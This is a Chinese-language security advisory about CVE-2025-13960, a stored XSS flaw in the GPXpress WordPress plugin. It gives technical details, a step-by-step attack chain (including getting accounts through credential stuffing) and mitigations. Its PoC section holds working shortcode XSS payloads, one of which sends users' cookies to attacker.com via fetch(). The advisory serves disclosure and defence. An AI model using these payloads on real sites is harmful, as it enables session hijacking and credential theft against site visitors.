IPBUF安全漏洞报告
English
CVE-2025-13960 CVSS 6.4 中危

CVE-2025-13960 WordPress GPXpress插件存储型XSS漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13960
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GPXpress plugin for WordPress

相关标签

CVE-2025-13960WordPress插件漏洞存储型XSSCross-Site ScriptingGPXpress短代码注入身份验证绕过WordPress安全CVSS 6.4中危漏洞

漏洞概述

GPXpress是WordPress的一个GPX文件导入和显示插件。该插件在1.3及以下所有版本中存在存储型跨站脚本(XSS)漏洞。漏洞根源在于插件的'gpxpress'短代码功能对用户提供的属性值缺乏充分的输入清理和输出转义处理。攻击者只需要拥有WordPress的contributor级别或更高权限(能够创建和编辑文章),即可通过在页面中插入恶意构造的gpxpress短代码来注入任意JavaScript脚本。这些恶意脚本会被永久存储在数据库中,当其他用户访问包含该短代码的页面时,注入的脚本会自动执行,可能导致会话劫持、敏感信息窃取、管理员权限滥用等严重安全风险。由于攻击利用的是已认证用户的权限,且无需目标用户交互,该漏洞具有较高的实际利用价值。

技术细节

漏洞位于GPXpress插件的Gpxpress.php文件第152行附近。该文件处理gpxpress短代码时,直接将用户提供的属性值输出到HTML页面而未进行适当的转义处理。具体来说,当用户访问包含恶意短代码的页面时,插件会从数据库读取短代码属性并直接拼接到HTML响应中。攻击者可以通过构造类似[gpxpress src='x' onerror='alert(1)']的短代码来注入JavaScript代码。由于插件使用echo或直接输出方式渲染页面内容,而没有使用htmlspecialchars()或其他转义函数对用户输入进行过滤,导致恶意脚本被浏览器解析执行。此漏洞属于存储型XSS,恶意代码会永久保存在数据库中,影响所有访问该页面的用户。修复方案应在输出前对所有用户可控的属性进行htmlspecialchars()转义处理。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用WordPress CMS并安装有GPXpress插件(版本<=1.3),通过查看页面源码或使用wpscan等工具确认插件版本
STEP 2
账户获取
攻击者获取WordPress用户账户,需要至少具有contributor级别权限。可以通过凭据填充、暴力破解、社会工程学或利用其他漏洞获取账户
STEP 3
恶意Payload注入
攻击者登录WordPress后台,创建或编辑文章/页面,在内容中插入包含恶意JavaScript代码的gpxpress短代码,如:[gpxpress src='x' onerror='alert(document.cookie)']
STEP 4
数据持久化
发布/更新文章后,恶意短代码被存储在WordPress数据库中,成为页面的永久内容
STEP 5
触发执行
当普通用户或管理员访问包含该短代码的页面时,浏览器会解析页面HTML并执行注入在src属性中的onerror事件处理器,从而执行恶意JavaScript代码
STEP 6
攻击成功
恶意脚本执行后,攻击者可以窃取用户Cookie、会话令牌、敏感信息,或利用窃取的凭证进一步提权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress GPXpress <= 1.3 Stored XSS PoC --> <!-- Requires Contributor-level access or higher --> <!-- Method 1: Via shortcode in post/page content --> [gpxpress src='x' onerror='alert(document.cookie)'] <!-- Method 2: More sophisticated payload --> [gpxpress src='x' onerror='fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- Method 3: Using various attributes --> [gpxpress src='" onerror="alert(1)" data-x="'] <!-- Exploitation steps: --> <!-- 1. Login to WordPress with contributor account --> <!-- 2. Create/Edit a post or page --> <!-- 3. Insert the malicious shortcode --> <!-- 4. Publish or update the post --> <!-- 5. Any user visiting this page will execute the injected JS -->

影响范围

GPXpress plugin for WordPress <= 1.3

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用GPXpress插件;2) 使用WordPress防火墙规则阻止包含gpxpress短代码的恶意请求;3) 限制contributor角色的文章发布权限,要求管理员审核所有内容;4) 在主题的functions.php中添加过滤器清理gpxpress短代码输出;5) 监控异常的管理员活动日志。同时建议尽快应用官方安全补丁,因为临时措施可能影响插件正常功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表